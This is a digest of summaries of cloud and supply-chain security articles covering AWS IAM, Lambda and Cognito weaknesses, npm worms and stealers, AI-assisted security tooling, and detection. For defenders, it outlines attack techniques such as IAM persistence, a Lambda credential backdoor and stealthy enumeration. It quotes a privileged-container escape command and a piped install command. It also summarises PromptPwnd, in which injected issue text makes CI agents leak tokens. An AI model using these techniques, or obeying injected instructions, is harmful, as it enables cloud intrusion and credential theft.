    • Thesis: The cloud perimeter breaks through two classes of mistake: service exposure (public or shadow resources) and access-by-design services that are configured wrong.
    • Lambda: Invoking a function needs only network reachability (the default) plus a resource policy for any principal. Read and write go through AWS APIs, which can’t easily be limited by network.
    • ECR: The authors brute-forced repository names from popular Docker Hub names and found public registries. A single public allow, such as ecr:PutImage, can poison the image supply chain.
    • DataSync: If a location bucket is deleted and recreated in another account, syncs keep flowing to it. The resourceaccount condition in the autogenerated service role blocks this.
    • IAM/STS: Main risks are Principal: * trust policies, OIDC trusts without sub/aud conditions, third-party roles without ExternalId, and leaked long-lived keys. 97% of customers have IAM users.
    • IoT: The chain thing → certificate → policy → roleAlias → IAM role lets a device certificate get role credentials via iot:AssumeRoleWithCertificate.
    • Cognito: Used by 84% of organizations. Self-registration is on by default, user pools don’t enforce per-app authorization, and unauthenticated identity pools hand out guest credentials.
    • Scope: Over-privileged identities, CVEs and Cognito group-to-role mappings are out of scope. The post surveys common patterns and is not exhaustive.

    Takeaway: Audit resource policies and trust policies for * principals, OIDC trusts missing sub/aud, open Cognito sign-up and guest access, and DataSync roles missing resourceaccount.

  • Exploiting AWS IAM Eventual Consistency for Persistence
    summary

    TL;DR: OFFENSAI shows that AWS IAM eventual consistency leaves a window of about 4 seconds in which revoked credentials still work, so attackers can persist and IAM-policy containment fails.

    • Finding: Deleted access keys stayed usable for 3 to 4 seconds in tests across us-east-1 and eu-central-1.
    • Persistence: During that window a deleted key could still call CreateAccessKey and mint a fresh key pair.
    • Detection by attacker: Polling ListAccessKeys about every 3 seconds shows an empty list once deletion propagates, which signals when to act.
    • Containment fails: Attaching AWSDenyAll to the compromised user doesn’t help, because the attacker can see the policy and detach it inside the window.
    • Scope: The same lag affects policy attach/detach, role creation and deletion, role-assumption permissions and login profiles.
    • AWS fix: AWS says this is distributed-system behavior, not a vulnerability. A December 2025 retest found deleted keys can no longer create new keys, but other changes inside the window still work, such as creating an externally assumable admin role.
    • Mitigation: Apply an Organization SCP that denies everything for the principal via aws:PrincipalArn, wait out propagation, then rotate keys and clean up policies.
    • Caveats: The 4-second figure comes from the authors’ tests. They found no in-the-wild exploitation, and the vendor sells detection products.

    Takeaway: Update IR playbooks to contain compromised IAM principals with an SCP first, not IAM policy changes. Tune CloudTrail detections for activity by already-deleted keys, and drop long-term access keys.

  • Things You Wish You Didn’t Need to Know About AWS Service-Linked Roles
    summary

    TL;DR: Daniel Grzelak of Plerion digs into AWS service-linked roles, AWS-owned roles you can’t edit, and finds enumeration, list-by-proxy, tag-collision and privilege-escalation risks.

    • What SLRs are: They live under /aws-service-role/ with names starting AWSServiceRoleFor. You create them with create-service-linked-role, and only the description is editable.
    • Template enumeration: The undocumented iamv2 method getServiceLinkedRoleTemplate returns the trust policy, managed policies and name prefix for a given service.
    • Usage probing: SLR names are predictable, so principal-validation errors reveal which services another account uses. The defense is to create every available SLR.
    • List by proxy: With everything denied except iam:DeleteServiceLinkedRole, a failed deletion’s RoleUsageList still exposed five SageMaker domain ARNs.
    • Confused deputy: No SLR trust policy reviewed had a Condition block. iam:PassRole rejects SLRs, which appears to block the attack.
    • Tag and name scoping: About 60 tag keys such as Owner and CreatedBy, and bucket prefixes such as amazon-connect-*, are unreserved, so customer resources can collide with them.
    • Over-broad grants: The RDS SLR gets EC2 network actions on *. The License Manager Linux subscriptions SLR can read any secret. MSK can PutResourcePolicy on AmazonMSK_* secrets.
    • Privesc paths: The Application Migration Service SLR can modify user data and restart instances. The Directory Service SLR can ssm:SendCommand AWS-RunPowerShellScript.
    • Caveats: The author reports no vulnerabilities, and the service list is incomplete.

    Takeaway: List your SLRs, check that tags like Owner and AWS-reserved bucket prefixes don’t collide with SLR conditions, and treat SLR policies as part of your privilege-escalation graph.

  • Simplify IAM Policy Creation with IAM Policy Autopilot, a New Open Source MCP Server for Builders
    summary

    TL;DR: AWS released IAM Policy Autopilot, an open-source local MCP server and CLI that reads application code deterministically to generate and troubleshoot IAM identity-based policies for AI coding assistants.

    • Problem: Developers start with broad permissions, and AI assistants miss actions or invent invalid ones.
    • How it works: Static analysis maps AWS SDK calls in code to IAM actions, using the published AWS service reference data.
    • Workflows: It generates an initial policy, proposes fixes for Access Denied errors (applied after user approval), and regenerates the policy when code changes.
    • Languages: Python, TypeScript and Go.
    • Clients: Kiro, Claude Code, Cursor and Cline. A standalone CLI is also available.
    • Output: Policies can go into CloudFormation, CDK or Terraform, and can be checked with IAM Access Analyzer validation.
    • Setup: Install with curl -sSL https://github.com/awslabs/iam-policy-autopilot/raw/refs/heads/main/install.sh | sudo sh, then register the MCP server in your IDE.
    • Limits: It generates only identity-based policies, not resource policies, boundaries, SCPs or RCPs. It favors working permissions over least privilege.

    Takeaway: Use it for a first-draft policy, then tighten it and run Access Analyzer before deploying. Review the install script rather than piping it straight to sudo sh.

  • Top AWS re:Invent Announcements for Security Teams in 2025
    summary

    TL;DR: Wiz picks the AWS re:Invent 2025 announcements that matter most to security teams, led by browser-based CLI login, outbound JWT federation and direct account transfers between Organizations.

    • aws login: Gets CLI credentials from a browser console session. An SDK change also records in the user-agent how credentials were obtained, so CloudTrail shows the source.
    • Outbound identity federation: AWS principals get JWTs to authenticate to non-AWS services. The JWTs carry the Org ID, OU path and principal tags, replacing pre-signed sts get-caller-identity tricks.
    • Account transfers: Accounts move directly between Organizations without going standalone, so they keep SCP coverage and org CloudTrail logging during the move.
    • Flat-rate plans: Fixed pricing with no overages for static-website services, plus a free tier with 5GB of S3 and WAF.
    • IAM Policy Autopilot: An open-source MCP server that generates IAM policies with deterministic analysis, not an LLM.
    • Temporary delegation: Currently limited to ISV Accelerate partner onboarding. The author speculates it could become groundwork for just-in-time access.
    • Org-level S3 Block Public Access: Moves the account-level setting up to the Organization.
    • Other: A managed TLS inspection proxy, and re:Inforce folded into re:Invent, announced only via an FAQ update.

    Takeaway: Adopt outbound JWT federation to drop static third-party secrets. Enforce S3 Block Public Access at the Org level, and use credential-source user-agent data in CloudTrail detections.

  • re:Invent 2025 Recap
    summary

    TL;DR: Chris Farris gives a skeptical, governance-focused recap of AWS re:Invent 2025, calling it underwhelming and GenAI-heavy while flagging the security and cost features worth adopting.

    • IAM: He welcomes JWT outbound federation, aws login (for hobbyists; enterprises should use Identity Center), STS IPv6 and the SourceVpcArn condition key. He worries Policy Autopilot could hallucinate actions.
    • S3: Org-level Block Public Access is all-or-nothing across the four controls. ABAC on bucket tags fills an RCP gap. SSE-C gets disabled for new buckets from April 2026.
    • Detection: GuardDuty Extended Threat Detection now covers EC2 and ECS, and severity 9+ findings are useful signal. Security Hub CSPM still depends on AWS Config recorders.
    • CloudTrail: Data event aggregation adds roughly 30% to data event cost. Native CloudTrail-to-CloudWatch costs $0.75/GB.
    • Network: Regional NAT Gateway removes the need for public subnets, but can cost 2-3x in non-prod. VPC encryption controls cost $110/month per non-empty VPC and enforce mode blocks rather than encrypts.
    • EC2: He recommends turning on EBS Recycle Bin everywhere and locking it with SCPs. AMI ancestry may help OS end-of-life reporting.
    • Governance: He praises direct Org account transfers, multi-org billing, StackSets drift detection and required-tag validation for Terraform, CloudFormation and Pulumi.
    • Caveats: AWS Interconnect preview 1 Gbps links get deleted at GA. He finds the MCP server churn and DevOps Agent unconvincing.

    Takeaway: Enable EBS Recycle Bin and Org-level S3 BPA, plan the April 2026 SSE-C cutoff, and run the numbers before adopting regional NAT or CloudTrail data event aggregation.

  • Shai Hulud 2.0: Ongoing Supply Chain Attack
    summary

    TL;DR: Wiz tracks Shai-Hulud 2.0, a November 2025 npm worm that trojanized hundreds of packages, stole developer and CI secrets at install time and leaked them to public GitHub repositories.

    • Scope: Wiz cites roughly 700 compromised packages in one place and nearly 800 in another. Affected publishers include Zapier, ENS Domains, PostHog, Postman and AsyncAPI.
    • Leak volume: Over 25,000 repositories were created. A deduplicated sample held 775 GitHub tokens, 373 AWS, 300 GCP and 115 Azure credentials.
    • Execution: It runs in preinstall via setup_bun.js and bun_environment.js. It runs synchronously in CI, detected via GITHUB_ACTIONS and BUILDKITE, and in the background on laptops.
    • Cloud theft: Bundled AWS, Azure and GCP SDKs harvest config files, environment variables and IMDS. It dumps secret managers and tries STS role assumption.
    • GitHub exfiltration: It pushes formatter_123456789.yml on an add-linter-workflow-* branch to dump repo secrets as actionsSecrets.json, then deletes the evidence.
    • Persistence: It registers a self-hosted runner named SHA1HULUD and adds discussion.yaml, so opening a discussion runs a shell command.
    • Privesc: It attempts docker run --rm --privileged -v /:/host ubuntu to drop a sudoers file.
    • Follow-on abuse: Attackers used leaked AKIA keys and PATs, published private repos, and pushed about 3,200 spam repositories.

    Takeaway: Hunt for SHA1HULUD runners, discussion.yaml, and repositories with Shai-Hulud in the description. Rotate npm, GitHub and cloud credentials, and disable install scripts in CI.

  • Inside the GitHub Infrastructure Powering North Korea’s Contagious Interview npm Attacks
    summary

    TL;DR: Socket maps North Korea’s Contagious Interview campaign: fake job tests lure Web3 developers into installing typosquatted npm packages that load the OtterCookie stealer through Vercel and GitHub.

    • Numbers: At least 197 new malicious npm packages since October 10, 2025, with over 31,000 downloads. 15 packages were still live when the post was written.
    • Lure: Fake interviews and test assignments use cloned Web3 and DEX repositories such as dexproject, which wires in a malicious node-tailwind.
    • Loader: tailwind-magic clones tailwind-merge. Its postinstall and import-time code fetch a payload from a Vercel endpoint and run it with eval().
    • Infrastructure: Vercel stages the payload, a GitHub repository hosts the code, and a separate C2 server receives data. The stardev0914 account held 18 repositories.
    • Malware: OtterCookie v4 is an infostealer and RAT that overlaps with BeaverTail. It does VM detection, remote shell, keylogging, screenshots, clipboard theft, and wallet and browser credential theft.
    • Persistence: The Windows build uses Run keys and scheduled tasks. Worker modules run as detached Node.js processes.
    • Evasion: Hex-escaped strings are decoded at runtime, and the malware exits early inside sandboxes.
    • Caveats: Counts are lower bounds. The removed GitHub account’s techniques reappear under new accounts.

    Takeaway: Treat npm install as code execution. Never run interview take-home repositories on machines that hold secrets or wallets. Isolate build agents, restrict egress, and flag packages that eval network responses.

  • PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents
    summary

    TL;DR: Aikido names PromptPwnd, a flaw class in which untrusted issue or PR text injected into AI agent prompts in GitHub Actions or GitLab CI makes privileged agents leak secrets or tamper with repositories.

    • Pattern: Untrusted input such as github.event.issue.title goes into the prompt. The agent then runs privileged tools, and secrets leak or workflows change.
    • No RCE needed: An injected instruction can make the agent write GITHUB_TOKEN into an issue body with gh issue edit.
    • Env vars don’t help: Passing input through environment variables stops shell injection, not prompt injection.
    • Gemini CLI: run-gemini-cli issue triage leaked GEMINI_API_KEY and GITHUB_TOKEN in a test fork. Google patched it within four days.
    • Claude Code Actions: Setting allowed_non_write_users: "*" is dangerous. Aikido could almost always leak the token whenever an attacker could trigger the workflow.
    • Codex and AI Inference: Codex is exploitable only with allow-users: "*" plus a non-default safety-strategy. GitHub AI Inference is exposed with enable-github-mcp: true.
    • Scope: Aikido says at least 5 Fortune 500 companies are affected. That figure is vendor-reported, and many details remain unpublished.
    • Tooling: Aikido released Opengrep detection rules in AikidoSec/opengrep-rules.

    Takeaway: Audit workflows that feed issue or PR text to AI agents. Keep write-capable tools and high-privilege tokens away from those agents, never allow untrusted triggers, and treat agent output as untrusted.

  • We Should All Be Using Dependency Cooldowns
    summary

    TL;DR: William Woodruff argues that dependency cooldowns, which delay adoption of new releases by days, would have blocked most recent open-source supply-chain attacks at almost no cost.

    • Thesis: Malicious versions are usually caught and pulled within hours or days, so waiting before upgrading avoids them.
    • Attack windows: Ultralytics 12h and 1h, rspack 1h, Nx 4h, web3.js 5h, chalk under 12h, tj-actions 3 days, Kong Ingress Controller about 10 days, xz-utils about 5 weeks.
    • Numbers: 8 of 10 windows were under a week. A 14-day cooldown would have blocked all of them except xz-utils.
    • Dependabot: Add cooldown: default-days: 7 to dependabot.yml.
    • Other tools: Renovate’s minimum release age, pnpm’s minimumReleaseAge, and uv’s exclude-newer (an absolute date cutoff). zizmor audits for a missing Dependabot cooldown.
    • Limits: Manual installs and bumps bypass bot cooldowns, so the author wants package managers to enforce them natively.
    • Caveats: The sample is small and the 80-90% risk-reduction estimate is informal. Patient attackers can outlast any cooldown, and cooldowns don’t address credential compromise.

    Takeaway: Set a 7 to 14 day cooldown in Dependabot or Renovate and in pnpm. Keep an override path for urgent security fixes.

  • Learnings from Recent npm Supply Chain Compromises
    summary

    TL;DR: Datadog Security Labs reviews three 2025 npm compromises (s1ngularity/Nx, debug/chalk, Shai-Hulud) and draws lessons on CI/CD triggers, phishing and long-lived tokens.

    • s1ngularity (Aug 26): A pull_request_target workflow leaked the Nx npm token. The telemetry.js post-install stealer pushed data to s1ngularity-repository repos and leaked over 2,000 secrets.
    • debug/chalk (Sep 8): A fake 2FA-reset email from npmjs[.]help phished the maintainer “Qix”. A wallet-swapping browser stealer reached 18+ packages, which were downloaded over 2.5 million times, with about $500 reported stolen.
    • Shai-Hulud (Sep 16): Tokens left unrotated after s1ngularity fed a self-replicating worm. It exfiltrated to webhook[.]site and flipped private repos public with a -migration suffix.
    • Total: The three incidents compromised more than 500 packages, with about three weeks between s1ngularity and Shai-Hulud.
    • Controls: Don’t run untrusted PR code with secrets, rotate tokens after incidents, and use fine-grained tokens with MFA.
    • Package age: Use a minimum package age setting; pnpm and yarn have one, but npm didn’t when this was written.
    • npm changes: Publishing will be limited to 2FA, 7-day granular tokens and trusted publishing, and TOTP is being phased out for FIDO.
    • Tools: Datadog rules github-actions/script-injection and github-actions/dangerous-trigger, plus GuardDog and Supply-Chain Firewall.

    Takeaway: Remove pull_request_target workflows that check out PR code, rotate every token after any compromise, and move npm publishing to trusted publishing.

  • Claude Is Competitive with Humans in (Some) Cyber Competitions
    summary

    TL;DR: Anthropic entered Claude in seven human cybersecurity competitions in 2025. It often finished in the top 25% and solved challenges fast, but failed the hardest CTFs and drifted on long tasks.

    • PicoCTF 2025: 297th of 10,460 teams (top 3%), with 32 of 41 challenges solved.
    • HackTheBox AI vs Human: 30th of 161 with 19 of 20 solved, despite a 32-minute late start.
    • Hard CTFs: It solved zero challenges at PlaidCTF and the DEF CON CTF Qualifier. About 70% of PlaidCTF teams also solved none.
    • Defense (CCDC): 10th of 28 in the WRCCDC Qualifier and 6th of 9 in the Regional, though the red team targeted it less aggressively than human teams.
    • Speed: When Claude solved a challenge, it matched or beat elite human teams. It kept pace with the fastest team for about the first 17 minutes.
    • What helped: Autonomous flag submission, Kali Linux tooling, a robust terminal interface, specialized personas and context summaries written to file.
    • Failure modes: An ASCII aquarium login banner flooded the context and the goal was lost. Summaries also drifted into philosophical musings about security.
    • Caveats: The sample is small, setups were tuned mid-event, and Claude didn’t face physical systems in CCDC.

    Takeaway: Assume AI agents can now automate basic exploitation fast, and patch the low-hanging vulnerabilities first. Long-horizon autonomous defense is not reliable yet.

  • Introducing CodeMender: An AI Agent for Code Security
    summary

    TL;DR: Google DeepMind’s CodeMender is a Gemini Deep Think agent that patches vulnerabilities and proactively hardens code. It has upstreamed 72 security fixes so far, all reviewed by humans.

    • Reactive: It finds root causes with a debugger, code browser, static and dynamic analysis, fuzzing, differential testing and SMT solvers.
    • Proactive: It rewrites code to remove whole bug classes, for example adding -fbounds-safety annotations to libwebp.
    • libwebp: The authors say those annotations would have made CVE-2023-4863, used in a zero-click iOS exploit, unexploitable. This is a projection, not a measurement.
    • Multi-agent: An LLM critique agent diffs original and patched code to catch regressions, and the agent self-corrects compile and test failures.
    • Validation: Patches are checked for root-cause fix, functional correctness, regressions and style. Only patches that pass go to human review.
    • Numbers: 72 fixes upstreamed over about six months, in projects as large as 4.5 million lines.
    • Example: A heap overflow crash traced back to wrong XML element stack handling, fixed in a few lines.
    • Limits: These are early results with no benchmarks or success rates. The tool is not publicly available, and upstreaming is ramping up slowly.

    Takeaway: Watch it, but don’t plan around it: it isn’t available yet. Compiler-enforced bounds safety such as -fbounds-safety is worth evaluating now for C codebases you maintain.

  • When Agents Get Tools: 10 MCP Labs for Breaking and Hardening AI Integrations
    summary

    (Could not fetch full text.)

    TL;DR: A Medium post titled “When Agents Get Tools: 10 MCP Labs for Breaking and Hardening AI Integrations”, which per its title presents ten hands-on labs on attacking and defending MCP integrations.

    • Source: Medium article by @kozielpawe. Only the title, taken from the URL, could be verified.
    • Topic: Per the title, security of Model Context Protocol (MCP) tool integrations for AI agents.
    • Format: Per the title, ten labs covering both breaking and hardening.
    • Unverified: The individual labs, the vulnerabilities covered, the setup steps and any repository could not be confirmed.
    • Caveat: Every bullet here comes from the title alone, not from the article body.
    • Fetch status: Medium returned HTTP 403 to every direct, curl and mirror attempt. No search result matched the article.

    Takeaway: Open the article directly to check the lab list before relying on it for MCP security testing.

  • WTF is AI-Native SAST?
    summary

    TL;DR: Parsia argues “AI-native SAST” is really SAST+AI: LLMs cannot replace static analysis yet, but static analysis pointing them at code beats either alone.

    • Thesis: Current LLMs need traditional static analysis to tell them where to look; combining both gives better results than either one.
    • Why now: Tokens are subsidized and cheap-ish, AI-generated code needs review, and AI may catch authorization and business-logic bugs SAST misses.
    • Hurdles: Cost (a cited test had GPT-5 mini take 10+ minutes to find 32 secrets), context rot, and non-deterministic answers needing repeat runs.
    • Context rot: Cited research suggests 500K and 1M context windows behave roughly like 64K in practice.
    • Blueprint: Feed the model input, a prompt (objective), RAG (vulnerability-class background), and context (surrounding code or data flow).
    • Technique ladder: Prompt+code, then prompt+agent with grep, then tailored prompts on SAST results, then agent+code graph+SAST MCP.
    • SAST-first tricks: Semgrep “hotspot” rules cut tokens; long CodeQL flows (20+ steps) caused hallucinations, so split them per function.
    • Tools named: Semgrep, CodeQL, tree-sitter, ZeroPath, Slice (CodeQL+tree-sitter, triage with gpt-5-mini then GPT-5), hound, Anthropic /security-review, OpenAI Aardvark.
    • Caveats: Personal, anecdotal experiments (“YMMV”); embeddings and code-intent approaches for logic bugs remain unproven.

    Takeaway: Run Semgrep/CodeQL first and use cheap models to triage their output before escalating survivors to stronger models; do not trust one-shot “find bugs” prompts.

  • RAPTOR: Autonomous Offensive/Defensive Security Research Framework
    summary

    TL;DR: RAPTOR is an open-source autonomous security research framework on Claude Code that scans, validates, exploits and patches vulnerabilities, by Gadi Evron, Thomas Dullien and others.

    • Architecture: Python layer (raptor.py) runs scanners, parses SARIF, dedupes and tracks cost; Claude Code layer (CLAUDE.md, .claude/) makes judgment calls.
    • Pipeline: /understand maps entry points and sinks; /agentic scans, then validates findings through stages A-F before generating PoCs and patches.
    • Commands: /scan, /codeql, /validate, /fuzz (AFL++), /ghidra, /frida, /sca (KEV, EPSS, CycloneDX SBOM), /web (ffuf, nuclei), /cve-diff.
    • Rules: 200+ custom rules: about 150 Semgrep, 68 Coccinelle for C/C++, and 8 CodeQL queries.
    • Models and cost: Supports Claude, OpenAI, Gemini, Mistral, Ollama; default $10 cap per run via --max-cost-usd; /agentic on ~50 findings costs about $2-8.
    • Sandboxing: Untrusted-content subprocesses run under Linux namespaces, Landlock and seccomp with no network; injection-prone env vars are stripped.
    • Setup: Needs uv, Python 3.12+, Node 18+, Semgrep; CodeQL and Z3 optional; ~6 GB Docker image available; standalone mode works without Claude Code.
    • Caveats: Self-described unpolished and mostly AI-generated; binary results are candidates, not proof; CodeQL license forbids commercial use.

    Takeaway: Try RAPTOR in its container against your own repos for triaged Semgrep/CodeQL findings, but verify every exploit claim and check licenses before commercial use.

  • What Are Atomic Detection Rules?
    summary

    TL;DR: Detection Engineering field manual explaining atomic detections, single-indicator rules on IPs, domains, hashes or usernames, and why they are cheap but brittle and noisy.

    • Definition: Atomic detections are “narrowly defined rules that detect activity at a point in time with little to no context”.
    • Framework: Uses David Bianco’s Pyramid of Pain; indicators at the bottom are cheap for attackers to change, TTPs at the top are costly.
    • Example 1: A rule on user = admin AWS logins fired three times; only one was a true positive, the rest normal admin work.
    • Example 2: A C2 IP rule went stale after the IP was reassigned to a CDN, turning every later hit into a false positive.
    • Pros: Cheap and fast to write and deploy; good for quick exposure checks against newly published indicators.
    • Cons: One changed bit in a hash or new IP defeats them; high false positives; investigation load grows with alert volume.
    • Trade-off: Adding context such as timestamps, related domains or location cuts noise but costs time, maintenance and threat intel.
    • Limits: No rule is perfect; catching everything means alerting on everything, and defenders lack visibility into attacker choices.

    Takeaway: Use IOC-only rules for short-lived exposure sweeps, give them expiry, and invest sustained alerting effort in behavior- and context-based detections.

  • awesome-annual-security-reports: Curated List of Annual Security Reports
    summary

    TL;DR: A curated GitHub list of 1,183 recurring annual cybersecurity reports (2008-2026), filtered for vendor-neutral, freely accessible trend data for security leaders.

    • Size: Badge shows 1,183 reports across yearly archives from 2008 to 2026; about 1.2k stars.
    • Structure: Split into Analysis reports (sensor or service data), Survey reports (surveys, interviews) and Resources, each grouped by topic.
    • Topics: Threat intel, cloud, AppSec, vulnerabilities, ransomware, data breaches, identity, pentesting, privacy, AI and emerging tech.
    • Inclusion: Recurring annual, vendor-neutral, no paywall or login, sourced from primary authors; one-off whitepapers and datasheets excluded.
    • Sources: Mandiant, Microsoft, CrowdStrike, IBM X-Force, Sophos, Cloudflare, plus Europol, FBI IC3, UK NCSC and US DHS.
    • Tooling: PDFs converted to Markdown with version-controlled AI prompts for search, year-over-year diffs and local LLM use.
    • Integrity: Reports are hash-validated and screened via VirusTotal daily; detections open an urgent triage issue.
    • Caveats: Sources stale for three years drop off the README; MIT license covers the repo, not the reports themselves.

    Takeaway: Use the Markdown versions to grep and diff annual threat data across years when building risk briefings, and cite the original publishers.

30.09.2025

  • Enumerating AWS the quiet way: CloudTrail-free discovery with Resource Explorer
    summary

    TL;DR: Datadog Security Labs showed attackers could enumerate an AWS account via Resource Explorer ListResources without default CloudTrail logging, until AWS reclassified it in July 2025.

    • Technique: Query Resource Explorer’s index instead of many List*/Describe* calls; one ListResources call can return most resources.
    • Laundering: Crawling is done by the AWSServiceRoleForResourceExplorer service-linked role, not the compromised identity.
    • Logging gap: ListResources was a data event, logged only if data-event logging was enabled; Search, ListViews, GetIndex were already management events.
    • Fix: Since July 15, 2025, ListResources is a management event, logged by default in Event History and management trails.
    • Activation: Attackers can call CreateIndex to turn Resource Explorer on in a region and start discovery.
    • Timeline: Reported April 24, 2025; AWS Health notice May 31; reclassified July 15; published August 19.
    • Detection: Alert on CreateIndex and on ListResources from long-lived access keys or new principals.
    • Mitigation: SCP denying resource-explorer-2:* where unused, at the cost of losing console search Resources results.

    Takeaway: Deny resource-explorer-2:* via SCP in accounts that do not use it, remove now-redundant data-event selectors, and alert on CreateIndex/ListResources from access keys.

  • IAM SAR-ry: Deep Dive and Nuances of AWS’s Programmatic IAM Action List and Service Authorization References
    summary

    TL;DR: Fog Security compares AWS’s new machine-readable service reference JSON with the Service Authorization Reference pages and finds classification differences that can break IAM tooling.

    • Background: The SAR is AWS’s human-readable list of actions, resources, condition keys and access levels; tools used to scrape it.
    • Programmatic source: JSON released late 2024; resources and condition keys added March 2025; action annotations added June 2025.
    • Annotations: IsList, IsPermissionsManagement, IsTaggingOnly, IsWrite; there is no Read annotation.
    • Multi-classification: 355 actions are both Permissions Management and Write; 670 are both Write and TaggingOnly; 1,023 gained categories vs SAR.
    • Example: sqs:AddPermission and sqs:SetQueueAttributes can both change queue policy; the JSON tags both Permissions Management and Write.
    • Mismatches: 118 duplicate actions in SAR from versioned services; 27 actions only in the JSON, mostly IoT 1-Click.
    • Tooling: Results published as JSON in Fog Security’s aws-iam GitHub repo; permissions.cloud previously relied on SAR scraping.
    • Caveats: Snapshot as of July 10, 2025; Read is inferred from unannotated actions, not confirmed by AWS.

    Takeaway: If your IAM linting or least-privilege tooling reads access levels, validate it against both sources before migrating, and treat Write as overlapping Permissions Management.

  • Stealthy Persistence in AWS: A Practical Simulation for Defenders
    summary

    TL;DR: A defender-oriented lab that simulates AWS persistence via a Lambda behind API Gateway, hidden in a non-$LATEST version, exfiltrating its role credentials to S3.

    • Scenario: Attacker with limited IAM access builds a Lambda that dumps its temporary credentials from environment variables into an attacker S3 bucket.
    • Why stealthy: Avoids heavily monitored actions like creating new IAM users.
    • Backdoor trigger: HTTP API Gateway route such as /backdoor with a GET method integrated with the Lambda.
    • Concealment: Benign code stays on $LATEST; malicious code is published as a numbered version and invoked by its version ARN.
    • Lab steps: Minimal-permission test user, locked-down bucket, Python handler, API Gateway route, publish benign then malicious version.
    • Detection: Alert on CreateFunction, UpdateFunctionCode, PublishVersion, API Gateway route changes, and unexpected PutObject targets.
    • Key signal: Track Lambda invocations per version; old or inactive versions suddenly receiving traffic are suspicious.
    • Prevention: Least-privilege execution roles, API Gateway authorizers and WAF, SCPs, GuardDuty and Security Hub.
    • Caveats: No statistics; text and code disagree on /proc/self/environ vs os.environ; credential lifetime is not discussed.

    Takeaway: Monitor PublishVersion and per-version invocation metrics, and review all Lambda versions and aliases, not only $LATEST, during audits.

  • fwd:cloudsec North America 2025
    summary

    (Could not fetch full text.)

    TL;DR: An 8-minute opening talk by Aaron Zollman introducing fwd:cloudsec North America 2025, the non-profit cloud security conference.

    • Title: “Introduction”, published on the fwd:cloudsec YouTube channel on July 1, 2025.
    • Speaker: Description reads “An introduction to fwd:cloudsec North America 2025 by Aaron Zollman”.
    • Length: 483 seconds, about 8 minutes.
    • Playlist: First entry in the “fwd:cloudsec North America 2025” playlist.
    • Conference: fwd:cloudsec is a non-profit conference covering all major cloud platforms, attack and defense research.
    • Scope: Playlist text says it covers limits of security features and pros and cons of security strategies outside vendor-conference framing.
    • Gap: No transcript was available, so talk content beyond the description is not verified.

    Takeaway: Use this as the entry point to the fwd:cloudsec NA 2025 playlist and pick the cloud attack and defense talks relevant to your stack.

  • Avoiding AWS Control Plane Overload During EKS Upgrades: The 20% Roll Rate Strategy
    summary

    TL;DR: An AWS Builder Center post by Todd Bevins recommending capping concurrent EKS node replacements at 20% to avoid AWS API throttling during upgrades.

    • Problem: Replacing all nodes at once creates API bursts from draining, terminating, provisioning and joining nodes.
    • Symptoms: ThrottlingException, HTTP 429, rising latency, failed node registration, stalled Auto Scaling, pods stuck Terminating, ghost nodes.
    • Compounding: Retries pile onto the backlog; stateful workloads risk issues if volumes do not detach and reattach cleanly.
    • Rule: Limit concurrent replacements to 20% of nodes, e.g. 20 at a time for a 100-node cluster.
    • Waves: Split node groups into waves and let each stabilize before the next.
    • Config: Set managed node group update constraints to max 20% unavailable; apply the same limit for kOps or custom scripts.
    • Monitoring: Watch CloudWatch ThrottledRequests, alarm on API error rates, pause when throttling grows; use exponential backoff in automation.
    • Caveats: The 20% figure is called “proven” without data; the 150-node, ~$2.3M outage anecdote is unsourced; config and code are only images.

    Takeaway: Cap how many nodes upgrade at once, roll in waves, and alarm on API throttling during EKS upgrades; tune the percentage to cluster size.

  • Kubernetes security fundamentals: Networking
    summary

    TL;DR: Part 6 of Datadog’s Kubernetes security fundamentals series by Rory McCune covers cluster networking: flat pod networks, CNI choice, and NetworkPolicy with a Calico demo.

    • Problem: By default “all pods are able to communicate with all other pods”, giving a flat, unrestricted network.
    • Trust zones: Node network (can reach cloud metadata) and pod network; managed clusters (EKS, AKS, GKE) hide the control-plane network.
    • CNI matters: kindnet and flannel do not enforce NetworkPolicy; Cilium and Calico do, plus extensions.
    • Policy model: Pods are open until a policy selects them; then only explicitly allowed ingress or egress passes, including within a namespace.
    • Demo: kind cluster with disableDefaultCNI: true plus Calico; nginx and postgres in netpol-demo tested from a client pod via curl.
    • Policies shown: default-deny-ingress, allow TCP 80 from namespaces labeled purpose: frontend, allow TCP 5432 only from app: web.
    • Enforcement: Calico implements policies as iptables cali-pi-... chains; iptables-differ helps view changes.
    • Egress: Unrestricted egress lets a compromised pod reach the cluster or cloud via the instance metadata service.
    • Host networking: hostNetwork pods bypass standard policies; restrict them or use Cilium’s host firewall.

    Takeaway: Ship default-deny ingress and egress NetworkPolicies with each app, confirm your CNI enforces them, and block pod access to the metadata endpoint.

  • How I Scanned all of GitHub’s “Oops Commits” for Leaked Secrets
    summary

    TL;DR: A Truffle Security guest post on mining GH Archive for force-pushed “Oops commits” since 2020, finding thousands of live secrets and about $25k in bounties.

    • Premise: Force-pushed commits stay reachable on GitHub by hash; the author believes GitHub keeps them indefinitely but could not verify.
    • Signal: Zero-commit PushEvent entries in GH Archive mark force pushes; the before field gives the overwritten commit hash.
    • Method: Minimal clone without blobs or checkout, fetch the before commit, scan with TruffleHog; .patch/.diff URLs also work.
    • Tool: Open-source Force Push Scanner queries GH Archive in BigQuery and scans dangling commits so orgs can check their own exposure.
    • Findings: MongoDB credentials leaked most; GitHub PATs and AWS keys were most valuable; .env was the top leaking file.
    • Case study: A dotfiles-leaked PAT had admin on all Istio repos (~36k stars), enabling pipeline changes, releases or repo deletion; it was revoked quickly.
    • Age effect: Older secrets were much less likely to still be active.
    • Caveats: Public repos only; “thousands” is approximate; GitHub WAF may block heavy Git access; REST limit 5,000 req/hour authenticated.

    Takeaway: Treat any committed secret as compromised and revoke it; deleting or force-pushing does not help. Run Force Push Scanner against your org.

  • Stop Leaked Credentials in Their Tracks with Veles, Our New Open-Source Secret Scanner
    summary

    TL;DR: Google open-sourced Veles, a secret scanner shipped as a module of OSV-SCALIBR, used internally and to power secret scanning across deps.dev and Google Cloud.

    • What: Standalone, extensible secret-scanning library inside OSV-SCALIBR, announced July 22, 2025.
    • Scope: Scans source code and user-provided artifacts for high-risk credentials.
    • Initial detectors: GCP API keys, GCP service account keys, and RubyGems API keys only.
    • Google use: Scans Google’s internal repos and artifacts; also used for deps.dev across “hundreds of millions” of packages, images and repos.
    • Cloud integration: Will power secret scanning in Artifact Analysis and Artifact Registry via the Container Analysis API.
    • SCC: Security Command Center integration covers IaC in pipelines plus Compute Engine and GKE runtime.
    • Limits: No validation of whether a found secret is still active yet; no detail on false positives or performance.
